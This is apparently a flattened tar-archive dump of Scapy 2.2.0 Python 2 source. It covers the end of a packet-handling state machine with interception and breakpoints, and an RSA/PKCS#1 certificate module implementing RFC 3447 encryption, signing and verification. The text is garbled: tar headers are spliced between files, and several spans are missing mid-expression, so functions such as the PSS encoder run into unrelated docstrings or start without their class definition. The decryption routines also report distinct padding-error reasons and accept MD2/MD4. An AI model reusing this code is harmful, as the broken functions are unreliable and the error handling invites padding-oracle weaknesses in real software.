self.listen_sock = conf.L2listen(**self.socket_kargs) self.packets = PacketList(name="session[%s]"%self.__class__.__name__) singlestep = True iterator = self._do_iter() self.debug(3, "Starting control thread [tid=%i]" % self.threadid) try: while True: c = self.cmdin.recv() self.debug(5, "Received command %s" % c.type) if c.type == _ATMT_Command.RUN: singlestep = False elif c.type == _ATMT_Command.NEXT: singlestep = True elif c.type == _ATMT_Command.FREEZE: continue elif c.type == _ATMT_Command.STOP: break while True: state = iterator.next() if isinstance(state, self.CommandMessage): break elif isinstance(state, self.Breakpoint): c = Message(type=_ATMT_Command.BREAKPOINT,state=state) self.cmdout.send(c) break if singlestep: c = Message(type=_ATMT_Command.SINGLESTEP,state=state) self.cmdout.send(c) break except StopIteration,e: c = Message(type=_ATMT_Command.END, result=e.args[0]) self.cmdout.send(c) except Exception,e: self.debug(3, "Transfering exception [%s] from tid=%i"% (e,self.threadid)) m = Message(type = _ATMT_Command.EXCEPTION, exception=e, exc_info=sys.exc_info()) self.cmdout.send(m) self.debug(3, "Stopping control thread (tid=%i)"%self.threadid) self.threadid = None def _do_iter(self): while True: try: self.debug(1, "## state=[%s]" % self.state.state) # Entering a new state. First, call new state function if self.state.state in self.breakpoints and self.state.state != self.breakpointed: self.breakpointed = self.state.state yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, state = self.state.state) self.breakpointed = None state_output = self.state.run() if self.state.error: raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), result=state_output, state=self.state.state) if self.state.final: raise StopIteration(state_output) if state_output is None: state_output = () elif type(state_output) is not list: state_output = state_output, # Then check immediate conditions for cond in self.conditions[self.state.state]: self._run_condition(cond, *state_output) # If still there and no conditions left, we are stuck! if ( len(self.recv_conditions[self.state.state]) == 0 and len(self.ioevents[self.state.state]) == 0 and len(self.timeout[self.state.state]) == 1 ): raise self.Stuck("stuck in [%s]" % self.state.state, state=self.state.state, result=state_output) # Finally listen and pay attention to timeouts expirations = iter(self.timeout[self.state.state]) next_timeout,timeout_func = expirations.next() t0 = time.time() fds = [self.cmdin] if len(self.recv_conditions[self.state.state]) > 0: fds.append(self.listen_sock) for ioev in self.ioevents[self.state.state]: fds.append(self.ioin[ioev.atmt_ioname]) while 1: t = time.time()-t0 if next_timeout is not None: if next_timeout <= t: self._run_condition(timeout_func, *state_output) next_timeout,timeout_func = expirations.next() if next_timeout is None: remain = None else: remain = next_timeout-t self.debug(5, "Select on %r" % fds) r,_,_ = select(fds,[],[],remain) self.debug(5, "Selected %r" % r) for fd in r: self.debug(5, "Looking at %r" % fd) if fd == self.cmdin: yield self.CommandMessage("Received command message") elif fd == self.listen_sock: pkt = self.listen_sock.recv(MTU) if pkt is not None: if self.master_filter(pkt): self.debug(3, "RECVD: %s" % pkt.summary()) for rcvcond in self.recv_conditions[self.state.state]: self._run_condition(rcvcond, pkt, *state_output) else: self.debug(4, "FILTR: %s" % pkt.summary()) else: self.debug(3, "IOEVENT on %s" % fd.ioname) for ioevt in self.ioevents[self.state.state]: if ioevt.atmt_ioname == fd.ioname: self._run_condition(ioevt, fd, *state_output) except ATMT.NewStateRequested,state_req: self.debug(2, "switching from [%s] to [%s]" % (self.state.state,state_req.state)) self.state = state_req yield state_req ## Public API def add_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.add(ipt) def remove_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.discard(ipt) def add_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.add(bp) def remove_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.discard(bp) def start(self, *args, **kargs): if not self.started.locked(): self._do_start(*args, **kargs) def run(self, resume=None, wait=True): if resume is None: resume = Message(type = _ATMT_Command.RUN) self.cmdin.send(resume) if wait: try: c = self.cmdout.recv() except KeyboardInterrupt: self.cmdin.send(Message(type = _ATMT_Command.FREEZE)) return if c.type == _ATMT_Command.END: return c.result elif c.type == _ATMT_Command.INTERCEPT: raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) elif c.type == _ATMT_Command.SINGLESTEP: raise self.Singlestep("singlestep state=[%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.BREAKPOINT: raise self.Breakpoint("breakpoint triggered on state [%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.EXCEPTION: raise c.exc_info[0],c.exc_info[1],c.exc_info[2] def runbg(self, resume=None, wait=False): self.run(resume, wait) def next(self): return self.run(resume = Message(type=_ATMT_Command.NEXT)) def stop(self): self.cmdin.send(Message(type=_ATMT_Command.STOP)) with self.started: # Flush command pipes while True: r,_,_ = select([self.cmdin, self.cmdout],[],[],0) if not r: break for fd in r: fd.recv() def restart(self, *args, **kargs): self.stop() self.start(*args, **kargs) def accept_packet(self, pkt=None, wait=False): rsm = Message() if pkt is None: rsm.type = _ATMT_Command.ACCEPT else: rsm.type = _ATMT_Command.REPLACE rsm.pkt = pkt return self.run(resume=rsm, wait=wait) def reject_packet(self, wait=False): rsm = Message(type = _ATMT_Command.REJECT) return self.run(resume=rsm, wait=wait) scapy-2.2.0/scapy/crypto/0000755000175000017500000000000011532602317013377 5ustar pbipbiscapy-2.2.0/scapy/crypto/__init__.py0000644000175000017500000000077411430356072015521 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Arnaud Ebalard ## This program is published under a GPLv2 license """ Tools for handling with digital certificates. """ try: import Crypto except ImportError: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python Crypto lib. Disabled certificate manipulation tools") else: from scapy.crypto.cert import * scapy-2.2.0/scapy/crypto/cert.py0000644000175000017500000026163011477675113014732 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Arnaud Ebalard ## This program is published under a GPLv2 license """ Cryptographic certificates. """ import os, sys, math, socket, struct, sha, hmac, string, time import random, popen2, tempfile from scapy.utils import strxor try: HAS_HASHLIB=True import hashlib except: HAS_HASHLIB=False from Crypto.PublicKey import * from Crypto.Cipher import * from Crypto.Hash import * # Maximum allowed size in bytes for a certificate file, to avoid # loading huge file when importing a cert MAX_KEY_SIZE=50*1024 MAX_CERT_SIZE=50*1024 MAX_CRL_SIZE=10*1024*1024 # some are that big ##################################################################### # Some helpers ##################################################################### def warning(m): print "WARNING: %s" % m def randstring(l): """ Returns a random string of length l (l >= 0) """ tmp = map(lambda x: struct.pack("B", random.randrange(0, 256, 1)), [""]*l) return "".join(tmp) def zerofree_randstring(l): """ Returns a random string of length l (l >= 0) without zero in it. """ tmp = map(lambda x: struct.pack("B", random.randrange(1, 256, 1)), [""]*l) return "".join(tmp) def strand(s1, s2): """ Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return "".join(map(lambda x,y:chr(ord(x)&ord(y)), s1, s2)) # OS2IP function defined in RFC 3447 for octet string to integer conversion def pkcs_os2ip(x): """ Accepts a byte string as input parameter and return the associated long value: Input : x octet string to be converted Output: x corresponding nonnegative integer Reverse function is pkcs_i2osp() """ return RSA.number.bytes_to_long(x) # IP2OS function defined in RFC 3447 for octet string to integer conversion def pkcs_i2osp(x,xLen): """ Converts a long (the first parameter) to the associated byte string representation of length l (second parameter). Basically, the length parameters allow the function to perform the associated padding. Input : x nonnegative integer to be converted xLen intended length of the resulting octet string Output: x corresponding nonnegative integer Reverse function is pkcs_os2ip(). """ z = RSA.number.long_to_bytes(x) padlen = max(0, xLen-len(z)) return '\x00'*padlen + z # for every hash function a tuple is provided, giving access to # - hash output length in byte # - associated hash function that take data to be hashed as parameter # XXX I do not provide update() at the moment. # - DER encoding of the leading bits of digestInfo (the hash value # will be concatenated to create the complete digestInfo). # # Notes: # - MD4 asn.1 value should be verified. Also, as stated in # PKCS#1 v2.1, MD4 should not be used. # - hashlib is available from http://code.krypto.org/python/hashlib/ # - 'tls' one is the concatenation of both md5 and sha1 hashes used # by SSL/TLS when signing/verifying things _hashFuncParams = { "md2" : (16, lambda x: MD2.new(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x02\x05\x00\x04\x10'), "md4" : (16, lambda x: MD4.new(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x04\x05\x00\x04\x10'), # is that right ? "md5" : (16, lambda x: MD5.new(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10'), "sha1" : (20, lambda x: SHA.new(x).digest(), '\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'), "tls" : (36, lambda x: MD5.new(x).digest() + SHA.new(x).digest(), '') } if HAS_HASHLIB: _hashFuncParams["sha224"] = (28, lambda x: hashlib.sha224(x).digest(), '\x30\x2d\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x04\x05\x00\x04\x1c') _hashFuncParams["sha256"] = (32, lambda x: hashlib.sha256(x).digest(), '\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20') _hashFuncParams["sha384"] = (48, lambda x: hashlib.sha384(x).digest(), '\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30') _hashFuncParams["sha512"] = (64, lambda x: hashlib.sha512(x).digest(), '\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40') else: warning("hashlib support is not available. Consider installing it") warning("if you need sha224, sha256, sha384 and sha512 algs.") def pkcs_mgf1(mgfSeed, maskLen, h): """ Implements generic MGF1 Mask Generation function as described in Appendix B.2.1 of RFC 3447. The hash function is passed by name. valid values are 'md2', 'md4', 'md5', 'sha1', 'tls, 'sha256', 'sha384' and 'sha512'. Returns None on error. Input: mgfSeed: seed from which mask is generated, an octet string maskLen: intended length in octets of the mask, at most 2^32 * hLen hLen (see below) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. Output: an octet string of length maskLen """ # steps are those of Appendix B.2.1 if not _hashFuncParams.has_key(h): warning("pkcs_mgf1: invalid hash (%s) provided") return None hLen = _hashFuncParams[h][0] hFunc = _hashFuncParams[h][1] if maskLen > 2**32 * hLen: # 1) warning("pkcs_mgf1: maskLen > 2**32 * hLen") return None T = "" # 2) maxCounter = math.ceil(float(maskLen) / float(hLen)) # 3) counter = 0 while counter < maxCounter: C = pkcs_i2osp(counter, 4) T += hFunc(mgfSeed + C) counter += 1 return T[:maskLen] def pkcs_emsa_pss_encode(M, emBits, h, mgf, sLen): """ Implements EMSA-PSS-ENCODE() function described in Sect. 9.1.1 of RFC 3447 Input: M : message to be encoded, an octet string emBits: maximal bit length of the integer resulting of pkcs_os2ip(EM), where EM is the encoded message, output of the function. h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. mgf : the mask generation function f : seed, maskLen -> mask sLen : intended length in octets of the salt Output: encoded message, an octet string of length emLen = ceil(emBits/8) On error, None is returned. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][1] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) if emLen < hLen + sLen + 2: # 3) warning("encoding error (emLen < hLen + sLen + 2)") return None salt = randstring(sLen) # 4) MPrime = '\x00'*8 + mHash + salt # 5) H = hFunc(MPrime) # 6) PS = '\x00'*(emLen - sLen - hLen - 2) # 7) DB = PS + '\x01' + salt # 8) dbMask = mgf(H, emLen - hLen - 1) # 9) maskedDB = strxor(DB, dbMask) # 10) l = (8*emLen - emBits)/8 # 11) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\x00' if rem: j = chr(reduce(lambda x,y: x+y, map(lambda x: 1< mask sLen : intended length in octets of the salt Output: True if the verification is ok, False otherwise. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][1] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) # 3) if emLen < hLen + sLen + 2: return False if EM[-1] != '\xbc': # 4) return False l = emLen - hLen - 1 # 5) maskedDB = EM[:l] H = EM[l:l+hLen] l = (8*emLen - emBits)/8 # 6) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\xff' if rem: val = reduce(lambda x,y: x+y, map(lambda x: 1< n-1: warning("Key._rsaep() expects a long between 0 and n-1") return None return self.key.encrypt(m, "")[0] def _rsaes_pkcs1_v1_5_encrypt(self, M): """ Implements RSAES-PKCS1-V1_5-ENCRYPT() function described in section 7.2.1 of RFC 3447. Input: M: message to be encrypted, an octet string of length mLen, where mLen <= k - 11 (k denotes the length in octets of the key modulus) Output: ciphertext, an octet string of length k On error, None is returned. """ # 1) Length checking mLen = len(M) k = self.modulusLen / 8 if mLen > k - 11: warning("Key._rsaes_pkcs1_v1_5_encrypt(): message too " "long (%d > %d - 11)" % (mLen, k)) return None # 2) EME-PKCS1-v1_5 encoding PS = zerofree_randstring(k - mLen - 3) # 2.a) EM = '\x00' + '\x02' + PS + '\x00' + M # 2.b) # 3) RSA encryption m = pkcs_os2ip(EM) # 3.a) c = self._rsaep(m) # 3.b) C = pkcs_i2osp(c, k) # 3.c) return C # 4) def _rsaes_oaep_encrypt(self, M, h=None, mgf=None, L=None): """ Internal method providing RSAES-OAEP-ENCRYPT as defined in Sect. 7.1.1 of RFC 3447. Not intended to be used directly. Please, see encrypt() method for type "OAEP". Input: M : message to be encrypted, an octet string of length mLen where mLen <= k - 2*hLen - 2 (k denotes the length in octets of the RSA modulus and hLen the length in octets of the hash function output) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. 'sha1' is used by default if not provided. mgf: the mask generation function f : seed, maskLen -> mask L : optional label to be associated with the message; the default value for L, if not provided is the empty string Output: ciphertext, an octet string of length k On error, None is returned. """ # The steps below are the one described in Sect. 7.1.1 of RFC 3447. # 1) Length Checking # 1.a) is not done mLen = len(M) if h is None: h = "sha1" if not _hashFuncParams.has_key(h): warning("Key._rsaes_oaep_encrypt(): unknown hash function %s.", h) return None hLen = _hashFuncParams[h][0] hFun = _hashFuncParams[h][1] k = self.modulusLen / 8 if mLen > k - 2*hLen - 2: # 1.b) warning("Key._rsaes_oaep_encrypt(): message too long.") return None # 2) EME-OAEP encoding if L is None: # 2.a) L = "" lHash = hFun(L) PS = '\x00'*(k - mLen - 2*hLen - 2) # 2.b) DB = lHash + PS + '\x01' + M # 2.c) seed = randstring(hLen) # 2.d) if mgf is None: # 2.e) mgf = lambda x,y: pkcs_mgf1(x,y,h) dbMask = mgf(seed, k - hLen - 1) maskedDB = strxor(DB, dbMask) # 2.f) seedMask = mgf(maskedDB, hLen) # 2.g) maskedSeed = strxor(seed, seedMask) # 2.h) EM = '\x00' + maskedSeed + maskedDB # 2.i) # 3) RSA Encryption m = pkcs_os2ip(EM) # 3.a) c = self._rsaep(m) # 3.b) C = pkcs_i2osp(c, k) # 3.c) return C # 4) def encrypt(self, m, t=None, h=None, mgf=None, L=None): """ Encrypt message 'm' using 't' encryption scheme where 't' can be: - None: the message 'm' is directly applied the RSAEP encryption primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.1.1. Simply put, the message undergo a modular exponentiation using the public key. Additionnal method parameters are just ignored. - 'pkcs': the message 'm' is applied RSAES-PKCS1-V1_5-ENCRYPT encryption scheme as described in section 7.2.1 of RFC 3447. In that context, other parameters ('h', 'mgf', 'l') are not used. - 'oaep': the message 'm' is applied the RSAES-OAEP-ENCRYPT encryption scheme, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 7.1.1. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". if none is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'L' is the optional label to be associated with the message. If not provided, the default value is used, i.e the empty string. No check is done on the input limitation of the hash function regarding the size of 'L' (for instance, 2^61 - 1 for SHA-1). You have been warned. """ if t is None: # Raw encryption m = pkcs_os2ip(m) c = self._rsaep(m) return pkcs_i2osp(c, self.modulusLen/8) elif t == "pkcs": return self._rsaes_pkcs1_v1_5_encrypt(m) elif t == "oaep": return self._rsaes_oaep_encrypt(m, h, mgf, L) else: warning("Key.encrypt(): Unknown encryption type (%s) provided" % t) return None ### Below are verification related methods def _rsavp1(self, s): """ Internal method providing raw RSA verification, i.e. simple modular exponentiation of the given signature representative 'c', an integer between 0 and n-1. This is the signature verification primitive RSAVP1 described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.2.2. Input: s: signature representative, an integer between 0 and n-1, where n is the key modulus. Output: message representative, an integer between 0 and n-1 Not intended to be used directly. Please, see verify() method. """ return self._rsaep(s) def _rsassa_pss_verify(self, M, S, h=None, mgf=None, sLen=None): """ Implements RSASSA-PSS-VERIFY() function described in Sect 8.1.2 of RFC 3447 Input: M: message whose signature is to be verified S: signature to be verified, an octet string of length k, where k is the length in octets of the RSA modulus n. Output: True is the signature is valid. False otherwise. """ # Set default parameters if not provided if h is None: # By default, sha1 h = "sha1" if not _hashFuncParams.has_key(h): warning("Key._rsassa_pss_verify(): unknown hash function " "provided (%s)" % h) return False if mgf is None: # use mgf1 with underlying hash function mgf = lambda x,y: pkcs_mgf1(x, y, h) if sLen is None: # use Hash output length (A.2.3 of RFC 3447) hLen = _hashFuncParams[h][0] sLen = hLen # 1) Length checking modBits = self.modulusLen k = modBits / 8 if len(S) != k: return False # 2) RSA verification s = pkcs_os2ip(S) # 2.a) m = self._rsavp1(s) # 2.b) emLen = math.ceil((modBits - 1) / 8.) # 2.c) EM = pkcs_i2osp(m, emLen) # 3) EMSA-PSS verification Result = pkcs_emsa_pss_verify(M, EM, modBits - 1, h, mgf, sLen) return Result # 4) def _rsassa_pkcs1_v1_5_verify(self, M, S, h): """ Implements RSASSA-PKCS1-v1_5-VERIFY() function as described in Sect. 8.2.2 of RFC 3447. Input: M: message whose signature is to be verified, an octet string S: signature to be verified, an octet string of length k, where k is the length in octets of the RSA modulus n h: hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). Output: True if the signature is valid. False otherwise. """ # 1) Length checking k = self.modulusLen / 8 if len(S) != k: warning("invalid signature (len(S) != k)") return False # 2) RSA verification s = pkcs_os2ip(S) # 2.a) m = self._rsavp1(s) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EMSA-PKCS1-v1_5 encoding EMPrime = pkcs_emsa_pkcs1_v1_5_encode(M, k, h) if EMPrime is None: warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.") return False # 4) Comparison return EM == EMPrime def verify(self, M, S, t=None, h=None, mgf=None, sLen=None): """ Verify alleged signature 'S' is indeed the signature of message 'M' using 't' signature scheme where 't' can be: - None: the alleged signature 'S' is directly applied the RSAVP1 signature primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.2.1. Simply put, the provided signature is applied a moular exponentiation using the public key. Then, a comparison of the result is done against 'M'. On match, True is returned. Additionnal method parameters are just ignored. - 'pkcs': the alleged signature 'S' and message 'M' are applied RSASSA-PKCS1-v1_5-VERIFY signature verification scheme as described in Sect. 8.2.2 of RFC 3447. In that context, the hash function name is passed using 'h'. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. Other additionnal parameters are ignored. - 'pss': the alleged signature 'S' and message 'M' are applied RSASSA-PSS-VERIFY signature scheme as described in Sect. 8.1.2. of RFC 3447. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". if none is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'sLen' is the length in octet of the salt. You can overload the default value (the octet length of the hash value for provided algorithm) by providing another one with that parameter. """ if t is None: # RSAVP1 S = pkcs_os2ip(S) n = self.modulus if S > n-1: warning("Signature to be verified is too long for key modulus") return False m = self._rsavp1(S) if m is None: return False l = int(math.ceil(math.log(m, 2) / 8.)) # Hack m = pkcs_i2osp(m, l) return M == m elif t == "pkcs": # RSASSA-PKCS1-v1_5-VERIFY if h is None: h = "sha1" return self._rsassa_pkcs1_v1_5_verify(M, S, h) elif t == "pss": # RSASSA-PSS-VERIFY return self._rsassa_pss_verify(M, S, h, mgf, sLen) else: warning("Key.verify(): Unknown signature type (%s) provided" % t) return None class _DecryptAndSignMethods(OSSLHelper): ### Below are decryption related methods. Encryption ones are inherited ### from PubKey def _rsadp(self, c): """ Internal method providing raw RSA decryption, i.e. simple modular exponentiation of the given ciphertext representative 'c', a long between 0 and n-1. This is the decryption primitive RSADP described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.1.2. Input: c: ciphertest representative, a long between 0 and n-1, where n is the key modulus. Output: ciphertext representative, a long between 0 and n-1 Not intended to be used directly. Please, see encrypt() method. """ n = self.modulus if type(c) is int: c = long(c) if type(c) is not long or c > n-1: warning("Key._rsaep() expects a long between 0 and n-1") return None return self.key.decrypt(c) def _rsaes_pkcs1_v1_5_decrypt(self, C): """ Implements RSAES-PKCS1-V1_5-DECRYPT() function described in section 7.2.2 of RFC 3447. Input: C: ciphertext to be decrypted, an octet string of length k, where k is the length in octets of the RSA modulus n. Output: an octet string of length k at most k - 11 on error, None is returned. """ # 1) Length checking cLen = len(C) k = self.modulusLen / 8 if cLen != k or k < 11: warning("Key._rsaes_pkcs1_v1_5_decrypt() decryption error " "(cLen != k or k < 11)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-PKCS1-v1_5 decoding # I am aware of the note at the end of 7.2.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno if EM[0] != '\x00': warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(first byte is not 0x00)") return None if EM[1] != '\x02': warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(second byte is not 0x02)") return None tmp = EM[2:].split('\x00', 1) if len(tmp) != 2: warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(no 0x00 to separate PS from M)") return None PS, M = tmp if len(PS) < 8: warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(PS is less than 8 byte long)") return None return M # 4) def _rsaes_oaep_decrypt(self, C, h=None, mgf=None, L=None): """ Internal method providing RSAES-OAEP-DECRYPT as defined in Sect. 7.1.2 of RFC 3447. Not intended to be used directly. Please, see encrypt() method for type "OAEP". Input: C : ciphertext to be decrypted, an octet string of length k, where k = 2*hLen + 2 (k denotes the length in octets of the RSA modulus and hLen the length in octets of the hash function output) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). 'sha1' is used if none is provided. mgf: the mask generation function f : seed, maskLen -> mask L : optional label whose association with the message is to be verified; the default value for L, if not provided is the empty string. Output: message, an octet string of length k mLen, where mLen <= k - 2*hLen - 2 On error, None is returned. """ # The steps below are the one described in Sect. 7.1.2 of RFC 3447. # 1) Length Checking # 1.a) is not done if h is None: h = "sha1" if not _hashFuncParams.has_key(h): warning("Key._rsaes_oaep_decrypt(): unknown hash function %s.", h) return None hLen = _hashFuncParams[h][0] hFun = _hashFuncParams[h][1] k = self.modulusLen / 8 cLen = len(C) if cLen != k: # 1.b) warning("Key._rsaes_oaep_decrypt(): decryption error. " "(cLen != k)") return None if k < 2*hLen + 2: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(k < 2*hLen + 2)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-OAEP decoding if L is None: # 3.a) L = "" lHash = hFun(L) Y = EM[:1] # 3.b) if Y != '\x00': warning("Key._rsaes_oaep_decrypt(): decryption error. " "(Y is not zero)") return None maskedSeed = EM[1:1+hLen] maskedDB = EM[1+hLen:] if mgf is None: mgf = lambda x,y: pkcs_mgf1(x, y, h) seedMask = mgf(maskedDB, hLen) # 3.c) seed = strxor(maskedSeed, seedMask) # 3.d) dbMask = mgf(seed, k - hLen - 1) # 3.e) DB = strxor(maskedDB, dbMask) # 3.f) # I am aware of the note at the end of 7.1.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno lHashPrime = DB[:hLen] # 3.g) tmp = DB[hLen:].split('\x01', 1) if len(tmp) != 2: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(0x01 separator not found)") return None PS, M = tmp if PS != '\x00'*len(PS): warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid padding string)") return None if lHash != lHashPrime: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid hash)") return None return M # 4) def decrypt(self, C, t=None, h=None, mgf=None, L=None): """ Decrypt ciphertext 'C' using 't' decryption scheme where 't' can be: - None: the ciphertext 'C' is directly applied the RSADP decryption primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.1.2. Simply, put the message undergo a modular exponentiation using the private key. Additionnal method parameters are just ignored. - 'pkcs': the ciphertext 'C' is applied RSAES-PKCS1-V1_5-DECRYPT decryption scheme as described in section 7.2.2 of RFC 3447. In that context, other parameters ('h', 'mgf', 'l') are not used. - 'oaep': the ciphertext 'C' is applied the RSAES-OAEP-DECRYPT decryption scheme, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 7.1.2. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". if none is provided, sha1 is used by default. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'L' is the optional label to be associated with the message. If not provided, the default value is used, i.e the empty string. No check is done on the input limitation of the hash function regarding the size of 'L' (for instance, 2^61 - 1 for SHA-1). You have been warned. """ if t is None: C = pkcs_os2ip(C) c = self._rsadp(C) l = int(math.ceil(math.log(c, 2) / 8.)) # Hack return pkcs_i2osp(c, l) elif t == "pkcs": return self._rsaes_pkcs1_v1_5_decrypt(C) elif t == "oaep": return self._rsaes_oaep_decrypt(C, h, mgf, L) else: warning("Key.decrypt(): Unknown decryption type (%s) provided" % t) return None ### Below are signature related methods. Verification ones are inherited from ### PubKey def _rsasp1(self, m): """ Internal method providing raw RSA signature, i.e. simple modular exponentiation of the given message representative 'm', an integer between 0 and n-1. This is the signature primitive RSASP1 described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.2.1. Input: m: message representative, an integer between 0 and n-1, where n is the key modulus. Output: signature representative, an integer between 0 and n-1 Not intended to be used directly. Please, see sign() method. """ return self._rsadp(m) def _rsassa_pss_sign(self, M, h=None, mgf=None, sLen=None): """ Implements RSASSA-PSS-SIGN() function described in Sect. 8.1.1 of RFC 3447. Input: M: message to be signed, an octet string Output: signature, an octet string of length k, where k is the length in octets of the RSA modulus n. On error, None is returned. """ # Set default parameters if not provided if h is None: # By default, sha1 h = "sha1" if not _hashFuncParams.has_key(h): warning("Key._rsassa_pss_sign(): unknown hash function " "provided (%s)" % h) return None if mgf is None: # use mgf1 with underlying hash function mgf = lambda x,y: pkcs_mgf1(x, y, h) if sLen is None: # use Hash output length (A.2.3 of RFC 3447) hLen = _hashFuncParams[h][0] sLen = hLen # 1) EMSA-PSS encoding modBits = self.modulusLen k = modBits / 8 EM = pkcs_emsa_pss_encode(M, modBits - 1, h, mgf, sLen) if EM is None: warning("Key._rsassa_pss_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def _rsassa_pkcs1_v1_5_sign(self, M, h): """ Implements RSASSA-PKCS1-v1_5-SIGN() function as described in Sect. 8.2.1 of RFC 3447. Input: M: message to be signed, an octet string h: hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls' 'sha256', 'sha384'). Output: the signature, an octet string. """ # 1) EMSA-PKCS1-v1_5 encoding k = self.modulusLen / 8 EM = pkcs_emsa_pkcs1_v1_5_encode(M, k, h) if EM is None: warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def sign(self, M, t=None, h=None, mgf=None, sLen=None): """ Sign message 'M' using 't' signature scheme where 't' can be: - None: the message 'M' is directly applied the RSASP1 signature primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.2.1. Simply put, the message undergo a modular exponentiation using the private key. Additionnal method parameters are just ignored. - 'pkcs': the message 'M' is applied RSASSA-PKCS1-v1_5-SIGN signature scheme as described in Sect. 8.2.1 of RFC 3447. In that context, the hash function name is passed using 'h'. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. Other additionnal parameters are ignored. - 'pss' : the message 'M' is applied RSASSA-PSS-SIGN signature scheme as described in Sect. 8.1.1. of RFC 3447. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", 